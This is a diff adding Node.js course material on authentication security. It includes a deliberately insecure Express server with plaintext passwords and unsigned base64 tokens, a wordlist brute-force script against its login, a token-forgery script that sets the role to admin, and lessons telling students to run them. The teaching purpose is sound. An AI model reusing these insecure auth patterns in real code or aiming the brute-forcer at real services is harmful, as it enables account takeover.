diff --git a/courses/backend/node/module-materials/examples/auth-home-made-token.js b/courses/backend/node/module-materials/examples/auth-home-made-token.js new file mode 100644 index 00000000..6f2ff23d --- /dev/null +++ b/courses/backend/node/module-materials/examples/auth-home-made-token.js @@ -0,0 +1,88 @@ +import express from "express"; +import { createServer } from "http"; + +// Example in-memory "database" for teaching purposes only +const users = [ + { + id: 1, + username: "alice", + password: "password123", + role: "user", + }, + { + id: 2, + username: "admin", + password: "admin123", + role: "admin", + }, +]; + +function getUserByUsername(username) { + return users.find((user) => user.username === username) ?? null; +} + +function issueToken(user) { + const payload = { userId: user.id, username: user.username, role: user.role }; + return Buffer.from(JSON.stringify(payload)).toString("base64"); +} + +function decodeToken(token) { + try { + return JSON.parse(Buffer.from(token, "base64").toString("utf8")); + } catch { + return null; + } +} + +const app = express(); +app.use(express.json()); + +app.post("/login", (req, res) => { + const { username, password } = req.body; + const user = getUserByUsername(username); + + if (!user || user.password !== password) { + return res.status(401).json({ error: "Invalid credentials" }); + } + + const token = issueToken(user); + res.json({ message: "Logged in with base64 token", token }); +}); + +function requireTokenAuth(req, res, next) { + const authHeader = req.headers["authorization"]; + const token = authHeader?.startsWith("Bearer ") ? authHeader.slice(7) : null; + + if (!token) { + return res.status(401).json({ error: "No token provided" }); + } + + const payload = decodeToken(token); + + if (!payload) { + return res.status(401).json({ error: "Invalid token" }); + } + + req.user = payload; + next(); +} + +app.get("/protected", requireTokenAuth, (req, res) => { + res.json({ data: "Token-protected resource", user: req.user }); +}); + +// Admin-only route β€” great for demonstrating role forgery +app.get("/admin", requireTokenAuth, (req, res) => { + if (req.user.role !== "admin") { + return res.status(403).json({ error: "Admins only" }); + } + res.json({ data: "Secret admin data", user: req.user }); +}); + +app.post("/logout", (req, res) => { + res.json({ message: "Logged out (token must be discarded client-side)" }); +}); + +app.listen(3000, () => { + console.log("> Ready on http://localhost:3000 (base64 token example)"); +}); diff --git a/courses/backend/node/module-materials/examples/auth-sessions-brute-force.js b/courses/backend/node/module-materials/examples/auth-sessions-brute-force.js new file mode 100644 index 00000000..740294e1 --- /dev/null +++ b/courses/backend/node/module-materials/examples/auth-sessions-brute-force.js @@ -0,0 +1,78 @@ +import fs from "fs"; +import readline from "readline"; + +const TARGET_URL = "http://localhost:3000/login"; +const username = process.argv[2] ?? "alice"; +const wordlistPath = process.argv[3] ?? "/usr/share/wordlists/rockyou-50.txt"; +const CONCURRENCY = 10; + +async function tryPassword(password) { + const res = await fetch(TARGET_URL, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ username, password }), + }); + return { password, success: res.status === 200 }; +} + +async function runChunk(passwords) { + return Promise.all(passwords.map(tryPassword)); +} + +async function bruteForce() { + console.log(`🎯 Target : ${TARGET_URL}`); + console.log(`πŸ‘€ Username: ${username}`); + console.log(`πŸ“– Wordlist: ${wordlistPath}\n`); + + const rl = readline.createInterface({ + input: fs.createReadStream(wordlistPath, { encoding: "latin1" }), + crlfDelay: Infinity, + }); + + let attempted = 0; + let chunk = []; + const startTime = Date.now(); + + for await (const line of rl) { + const password = line.trim(); + if (!password) continue; + + chunk.push(password); + + if (chunk.length >= CONCURRENCY) { + const results = await runChunk(chunk); + attempted += results.length; + + const found = results.find((r) => r.success); + if (found) { + const elapsed = ((Date.now() - startTime) / 1000).toFixed(1); + console.log( + `\nβœ… PASSWORD FOUND after ${attempted} attempts (${elapsed}s)`, + ); + console.log(` Username : ${username}`); + console.log(` Password : ${found.password}`); + process.exit(0); + } + + process.stdout.write(`\r⏳ Tried ${attempted} passwords...`); + chunk = []; + } + } + + // flush remaining chunk (wordlist end) + if (chunk.length > 0) { + const results = await runChunk(chunk); + attempted += results.length; + const found = results.find((r) => r.success); + if (found) { + console.log( + `\nβœ… PASSWORD FOUND: ${found.password} (after ${attempted} attempts)`, + ); + process.exit(0); + } + } + + console.log(`\n❌ Password not found after ${attempted} attempts.`); +} + +bruteForce().catch(console.error); diff --git a/courses/backend/node/module-materials/examples/token-forgery.js b/courses/backend/node/module-materials/examples/token-forgery.js new file mode 100644 index 00000000..0b0d1ec3 --- /dev/null +++ b/courses/backend/node/module-materials/examples/token-forgery.js @@ -0,0 +1,17 @@ +const token = process.argv[2]; + +if (!token) { + console.error("Usage: node attack-forge-token.js "); + process.exit(1); +} + +function forgeToken(token, overrides) { + const decoded = JSON.parse(Buffer.from(token, "base64").toString("utf8")); + const forged = { ...decoded, ...overrides }; + return Buffer.from(JSON.stringify(forged)).toString("base64"); +} + +const forgedToken = forgeToken(token, { role: "admin" }); + +console.log("\n Original token:", token); +console.log("\n Forged token:", forgedToken); diff --git a/courses/backend/node/week3/preparation.md b/courses/backend/node/week3/preparation.md index 8f282760..b97cbeea 100644 --- a/courses/backend/node/week3/preparation.md +++ b/courses/backend/node/week3/preparation.md @@ -13,14 +13,19 @@ ## Session pre-read -- Read a short introduction to **password hashing and salting** (for example, an article explaining why plaintext passwords are insecure and how bcrypt works) // TODO -- Read a high-level overview of **JWT (JSON Web Tokens)** and how they are used for stateless authentication // TODO -- Read a brief introduction to **cookies and sessions** in web applications // TODO. +- Read a short introduction to [password hashing and salting](https://auth0.com/blog/adding-salt-to-hashing-a-better-way-to-store-passwords/) +- Read a high-level overview of [JWT (JSON Web Tokens](https://auth0.com/docs/secure/tokens/json-web-tokens) + [JWT debugger](https://www.jwt.io/) +- Read about security problems with self-created tokens that could lead to [Token Forgery](https://entro.security/glossary/token-forging/) +- Read a brief introduction to [cookies and sessions](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Cookies) - Read a short overview on the [difference between **authentication and authorisation**](https://www.geeksforgeeks.org/computer-networks/difference-between-authentication-and-authorization/). ## Optional Resources For more research, you can explore the following resources: -- OWASP cheatsheets on authentication and session management (for a deeper security perspective). //TODO -- A more in-depth article or video about JWT best practices (token lifetimes, refresh tokens, common pitfalls). //TODO +- Great additional read about [Authentication vulnurabilities](https://portswigger.net/web-security/authentication) +- Great tool to extend your developer toolboc - [CyberChef](https://gchq.github.io/CyberChef/) +- OWASP [cheatsheets](https://cheatsheetseries.owasp.org/index.html) on authentication and session management (for a deeper security perspective). +- A more in-depth article or video about JWT best practices (token lifetimes, refresh tokens, common pitfalls). [JWT Attacks](https://portswigger.net/web-security/jwt) +- Incredible resource to learn security and encryption concepts [Cryptohack](https://cryptohack.org/) diff --git a/courses/backend/node/week3/session-materials/10-auth-db-credentials.md b/courses/backend/node/week3/session-materials/10-auth-db-credentials.md index c9cfe2e7..fff536df 100644 --- a/courses/backend/node/week3/session-materials/10-auth-db-credentials.md +++ b/courses/backend/node/week3/session-materials/10-auth-db-credentials.md @@ -4,33 +4,49 @@ In this part of the session, you will add **secure password storage** and a **ba We will: -- Hash passwords using `bcrypt`. - Implement a `/login` endpoint that validates a user’s credentials. +- Demonstrate why insecure passwords are a security issue +- Hash passwords using `bcrypt`. ## 1. Database: users table -We can use already existing `users` table. Username can be user `email`, while password hash can be stored in the `token` column. +We can use already existing `users` table. Username can be user `email`, while password can be stored in the `token` column. -Update at least one user with a hashed password (for example a small Node program that calls `bcrypt.hash` and update the row). - -## 2. Install bcrypt - -Install `bcrypt` in the Snippets API project and import it in your auth route module. - -## 3. Implement /login +## 2. Implement /login Create a route (for example in `routes/auth.js`) that: 1. Reads `username` and `password` from the request body. 2. Looks up the user by username in the database. -3. Uses `bcrypt.compare` to compare the provided password with the stored `password_hash`. -4. Returns: + +## 3. Demonstrate security issue with the password in plain + +In the implemented solution, or, using the module examples - demonstrate how fast insecure password could be cracked. +You can download any of the suitable [password list](https://github.com/danielmiessler/SecLists/tree/master/Passwords/Leaked-Databases) (suggested rockyou-50.txt) and execute + +`node auth-sessions-brute-force.js user_name /path/to/your/wordlist` + +## 4. Install bcrypt + +Install `bcrypt` in the Snippets API project and import it in your auth route module. +Update at least one user with a hashed password (for example a small Node program that calls `bcrypt.hash` and update the row). + +## 5. Update implementation with bicrypt + +1. Modify the login functionality +2. Use `bcrypt.compare` to compare the provided password with the stored `password_hash`. +3. Returns: - `401 Unauthorized` with a generic error message on failure. - `200 OK` (or `201`) with a small success payload on success. You do **not** need to generate tokens here yet – this is just about secure credential checking. -## 4. Suggested exercises +## 6. Hash cracking introduction + +If using MD5 hashing algorythm, it is great to demonstrate that even hashed, if password is weak - it could be easily cracked +Take the created password hash (considering that it was a simple password like qwerty123, password123 etc) and paste it here - [Crack Station](https://crackstation.net/) + +## 7. Suggested exercises - Add at least one extra user to the database and test logging in as both. - Think about: diff --git a/courses/backend/node/week3/session-materials/11-auth-db-tokens.md b/courses/backend/node/week3/session-materials/11-auth-db-tokens.md index 22f95fea..8936e79f 100644 --- a/courses/backend/node/week3/session-materials/11-auth-db-tokens.md +++ b/courses/backend/node/week3/session-materials/11-auth-db-tokens.md @@ -16,6 +16,7 @@ Add a `tokens` table to the Snippets database, for example with columns: - `id` (primary key) - `user_id` (foreign key to `users.id`) +- `role` (string) - `token` (string, unique) - `created_at` (timestamp) - `expires_at` (timestamp, optional) @@ -25,7 +26,7 @@ Add a `tokens` table to the Snippets database, for example with columns: Extend login (or create a separate `/login-token` route) so that: 1. You first verify the username and password using your secure logic. -2. Generate a random token value (for example using `crypto.randomBytes`). +2. Generate an encoded token value (using Base64 for the further example). 3. Insert a new row into the `tokens` table with the user ID and token. 4. Return the token to the client (e.g. `{ "token": "" }`). @@ -38,7 +39,22 @@ Create middleware (e.g. `requireTokenAuth`) that: 3. (Optionally) checks for expiration. 4. Attaches the corresponding user to `req.user`, or returns `401` if the token is not valid. -## 4. Suggested exercises +## 4. Implement role-based routed + +Create an `/admin` rote protected by the role guard, so that: + +1. Only the user with 'admin' role can access the route +2. Only the authenticated user can access the route + +## 5. Perform the token forgery + +In order to demonstrate why simple encoding is not enough for the token - perform the request forgery + +1. Take the token and decode it (examples/token-forgery.js for the full path, [CyberChef]() to go step-by-step) +2. Change the role in the token from user to admin +3. Use the newly 'forged' token to enter `/admin` route + +## 6. Suggested exercises - Protect one or more Snippets API endpoints with your token-based middleware. - Implement a `/logout-token` endpoint that deletes the token from the database.